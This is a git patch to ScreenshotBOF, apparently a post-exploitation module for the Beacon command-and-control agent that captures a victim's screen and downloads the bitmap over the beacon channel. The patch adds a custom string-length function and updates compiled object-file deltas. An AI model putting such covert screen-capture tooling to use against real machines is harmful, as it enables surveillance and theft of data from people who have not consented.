From 95b1311d6009f3d65c0b85bd72210510d5e48bae Mon Sep 17 00:00:00 2001 From: CodeXTF2 Date: Fri, 9 Dec 2022 00:44:38 +0800 Subject: [PATCH] :( --- ScreenshotBOF/Source.cpp | 12 +++++++++++- bin/BOF/ScreenshotBOF.x64.obj | Bin 7494 -> 7762 bytes bin/BOF/ScreenshotBOF.x86.obj | Bin 5856 -> 5925 bytes 3 files changed, 11 insertions(+), 1 deletion(-) diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index 734a53c..0cf4ee9 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -6,6 +6,16 @@ #pragma comment(lib, "Gdi32.lib") char downloadfilename[] = "screenshot.bmp"; + +//i love chatgpt +size_t my_strlen(const char* str) { + size_t len = 0; + while (str[len] != '\0') { + len++; + } + return len; +} + /*Download File*/ void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) { @@ -238,7 +248,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod) } else{ BeaconPrintf(0x0, "[*] Downloading bitmap over beacon with filename %s", lpszFileName); - downloadFile((char*)lpszFileName, strlen(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize)); + downloadFile((char*)lpszFileName, my_strlen(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize)); } diff --git a/bin/BOF/ScreenshotBOF.x64.obj b/bin/BOF/ScreenshotBOF.x64.obj index 4b274c749d17f7ca710af4984b40d6ef7548d55c..913e349a41c99e5f6fc39f3eddcc76b15f2639e1 100644 GIT binary patch delta 1448 zcmZwGOH30%7zglg+XYLp+5plbR0^ywq}WnLOF#+=RIQ47AQF@MenSjaf*9?AU?kuH zR=paGi5KG|JwSpnT8(m0gBoud^Y7krShIwBzB)rsR85S9`c*B|AJ*I<^LVKL!Q6Y)dp~O9^w0fJ zpQ?R%%RhP^IUhdNe^?jABWXj{8170cRiV#eHKP~1P$`1m$!a%r#?XMFQ78`|mB!J} zXMI4Q&-#VFfVEa3a{vch7qpzO&@*v=$=e8R9F9WrnLa}v&b)ZEa@HECjI{-t!)k%#6;Vi( zt4cbwk~IvKvTi}kSc=_5b|sIL^bCbEib+3`KG<%`5^U~m(*9AXk#oVUuyib`I+iohuF zPvTl_dsD#g4FqIm8;Q^7bx)t;^Hntem-ttnHCK-%%z;(RSvK?P73uL!WRI#>DZ7S1`BTAxbORMsR!4uqPaq zXb@#>vU zkMcc!&AHq>ukBRiM6~1B{`O#SM_puNb3^^QV5|Njzt=zG2x-Un?T+r&YG)kP!v#P8 E0t()_8UO$Q delta 1301 zcmZA0O-K}B7zglYc4u8(GdDNWtzFx6EX!P1SIspmKcb){k`56BW-1Ami7q6F?LjDs z3T@CsU9zG>ga`LvL6^Y9Lr9;5m&i-d!BUV8Db)XY-u;jU=H1`^-;a4`=9v$*vo#s* zH&V&J>) zRaHpFO&!kCXuampqYrFP9T6-`I@O@f7M(`BRn&skE$U8aFrnKCy@0mk)M*aw4$&f7 zk7ymOSJbEx<%yc1OwqXrxJ@_&9T1H}YRUw(Q?g0OCwc|#60JgfV>+!v9H<~lV%`On1GbHSU)IHsY{E~fxN<}}R64761v&fEOQ!@;R3lK{~m7->- zSkwaT7imrlIW;$F=1f+xxt3LZ=rD4tRBcG)M61Nr*dSRhTCP;9)RvMD|BsqIF0XdX zeC{gDZC;v63p(o;Jx_jrd3)<_)6B3jxH_UAG=I20N4PSuH(tRwb37Cbgo3>0hNLV| z;rl diff --git a/bin/BOF/ScreenshotBOF.x86.obj b/bin/BOF/ScreenshotBOF.x86.obj index 57231f559cdc7c3b7a9e8e1419b84af88de4d8e3..b3ab8377c4e446e37d801188cd6647d2da63c61f 100644 GIT binary patch delta 955 zcmZA0Ur19?90%~<-QDi4T3gMl_Q!Iz^~c=S=2DS@W^{=_s0fh)DJFxcl*mOT$pR^o z8;A|6r^<)uxkf4#5k*K~4?!eENDr;VdWn47edv3Bhh0Vo_T$6%p0k~E?r-0sk7Ct5 zibki5+XFuTWcBkZvx+FB5}ls>5K&TP&crqP&cxk zqBgR=qHbb+NAj4yJ z&AN!{S#`KAnax8Y%W1Uig!kR$iF1&gIN~X1KO7kvQ4N1#BP6$WEk$yrUaej@?c!|QSOVC!<1hkFy5Rw;MfVOk?8rs1sLM^P4^VFl4pRR@Ey&Z<+ zkuuOOUNNfU_a!F~uIBJAB+oPrMLAo9Vyq=7!ukvOSS3iV2%sf*BQvN8YG*~Dojk7t zYGv*1pMJcs@~pL(pYb*5={p~nBiI*}i(ANU8}qCM38j|1N9K2WYnQn*n*(L3Za5L zWP^g}(m}ilHMH=U-bCn-dWpzTx`+`aT{`rAz7Kn;2K({Z_j!NsyXVh48T%Y{XBvoIKh=Y}hsxL*v~|f= z5!#Edl5y01)JxR;)N9lO)JN22Y8}-}ZR+MGQaMCYkY56jX=#Ci9F0ODDh0Jr87M&w zKpoUDq^F?dI@C@*bczJ14aj6KuoOBgDwzXKn6Ii__zW^xe|06BwY3h_@rIj_`TI#F zQqSx(bdc(Y^vWt3vULSAQ+fkM^!$~asu4Lv^+AWJEOdmr0ht9JgN`zL3>~9ppySk{ zJ-Tdp!^@DF(|st$Y#KU2y@jIGJmjGkA=B{%YCz_f zZ%~r@4Yl$*g)`Vjow+bOwfb|Wb))pv6L9t3`}N#A@?fQ;ydR1Qy`_Tn7fT`oed&&_ zbYl0vNjjbk{hy@tA^oc>-5I}YC$U2Ab|G>tk3g_vVmb8d&<*`)JFoW&pX|-T=+#`_ qZGK_VoaJ*n?>GZfI3DlORIMWpzC$9V?S`mx%PL2FkF3%{)5Sjk`C#e*